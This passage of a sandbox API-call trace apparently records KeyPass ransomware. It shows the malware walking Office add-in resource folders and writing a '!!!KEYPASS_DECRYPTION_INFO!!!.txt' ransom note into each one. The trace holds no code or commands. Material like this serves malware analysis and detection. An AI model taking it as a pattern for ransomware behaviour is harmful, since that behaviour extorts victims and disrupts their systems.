add-in\\resources\\1031\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x908 [0255.308] GetFileType (hFile=0x908) returned 0x1 [0255.308] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.309] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.309] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.309] WriteFile (in: hFile=0x908, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.310] WriteFile (in: hFile=0x908, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.310] CloseHandle (hObject=0x908) returned 1 [0255.310] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3987db8 [0255.310] FindNextFileW (in: hFindFile=0x3987db8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.310] FindNextFileW (in: hFindFile=0x3987db8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.310] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.311] FindNextFileW (in: hFindFile=0x3987db8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.311] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.311] FindNextFileW (in: hFindFile=0x3987db8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.311] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.311] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.311] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.311] GetLastError () returned 0x3f0 [0255.311] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.311] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1032\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x904 [0255.312] GetFileType (hFile=0x904) returned 0x1 [0255.312] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.313] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.313] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.313] WriteFile (in: hFile=0x904, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.314] WriteFile (in: hFile=0x904, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.314] CloseHandle (hObject=0x904) returned 1 [0255.314] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x39880b8 [0255.314] FindNextFileW (in: hFindFile=0x39880b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.314] FindNextFileW (in: hFindFile=0x39880b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.314] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.314] FindNextFileW (in: hFindFile=0x39880b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.314] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.314] FindNextFileW (in: hFindFile=0x39880b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.314] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.314] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.314] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.314] GetLastError () returned 0x3f0 [0255.314] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.315] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90c [0255.320] GetFileType (hFile=0x90c) returned 0x1 [0255.320] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.320] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.320] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.320] WriteFile (in: hFile=0x90c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.321] WriteFile (in: hFile=0x90c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.321] CloseHandle (hObject=0x90c) returned 1 [0255.321] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3987e38 [0255.321] FindNextFileW (in: hFindFile=0x3987e38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.321] FindNextFileW (in: hFindFile=0x3987e38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.321] FindNextFileW (in: hFindFile=0x3987e38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.321] FindNextFileW (in: hFindFile=0x3987e38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.322] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.322] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.322] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.322] GetLastError () returned 0x3f0 [0255.322] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.322] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1035\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910 [0255.323] GetFileType (hFile=0x910) returned 0x1 [0255.323] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.323] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.323] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.323] WriteFile (in: hFile=0x910, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.324] WriteFile (in: hFile=0x910, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.324] CloseHandle (hObject=0x910) returned 1 [0255.324] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3987f78 [0255.324] FindNextFileW (in: hFindFile=0x3987f78, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.324] FindNextFileW (in: hFindFile=0x3987f78, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.324] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.324] FindNextFileW (in: hFindFile=0x3987f78, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.324] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.325] FindNextFileW (in: hFindFile=0x3987f78, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.325] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.325] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.325] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.325] GetLastError () returned 0x3f0 [0255.325] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.325] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1036\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x914 [0255.326] GetFileType (hFile=0x914) returned 0x1 [0255.326] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.326] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.326] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.326] WriteFile (in: hFile=0x914, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.327] WriteFile (in: hFile=0x914, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.327] CloseHandle (hObject=0x914) returned 1 [0255.327] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3987e78 [0255.328] FindNextFileW (in: hFindFile=0x3987e78, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.328] FindNextFileW (in: hFindFile=0x3987e78, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.328] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.328] FindNextFileW (in: hFindFile=0x3987e78, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.328] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.328] FindNextFileW (in: hFindFile=0x3987e78, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.328] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.328] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.328] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.328] GetLastError () returned 0x3f0 [0255.328] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.328] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1037\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x91c [0255.330] GetFileType (hFile=0x91c) returned 0x1 [0255.330] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.330] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.330] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.330] WriteFile (in: hFile=0x91c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.331] WriteFile (in: hFile=0x91c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.331] CloseHandle (hObject=0x91c) returned 1 [0255.331] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3987eb8 [0255.332] FindNextFileW (in: hFindFile=0x3987eb8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.332] FindNextFileW (in: hFindFile=0x3987eb8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.332] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.332] FindNextFileW (in: hFindFile=0x3987eb8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.332] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.332] FindNextFileW (in: hFindFile=0x3987eb8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.332] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.332] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.332] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.332] GetLastError () returned 0x3f0 [0255.332] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.332] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1038\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x920 [0255.334] GetFileType (hFile=0x920) returned 0x1 [0255.335] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.335] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.335] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.336] WriteFile (in: hFile=0x920, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.336] WriteFile (in: hFile=0x920, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.337] CloseHandle (hObject=0x920) returned 1 [0255.337] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3987ef8 [0255.337] FindNextFileW (in: hFindFile=0x3987ef8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.337] FindNextFileW (in: hFindFile=0x3987ef8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.337] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.337] FindNextFileW (in: hFindFile=0x3987ef8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.337] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.337] FindNextFileW (in: hFindFile=0x3987ef8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.337] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.337] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.338] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.338] GetLastError () returned 0x3f0 [0255.338] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.338] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1040\\!!!keypass_decryption_info!!!.txt"), 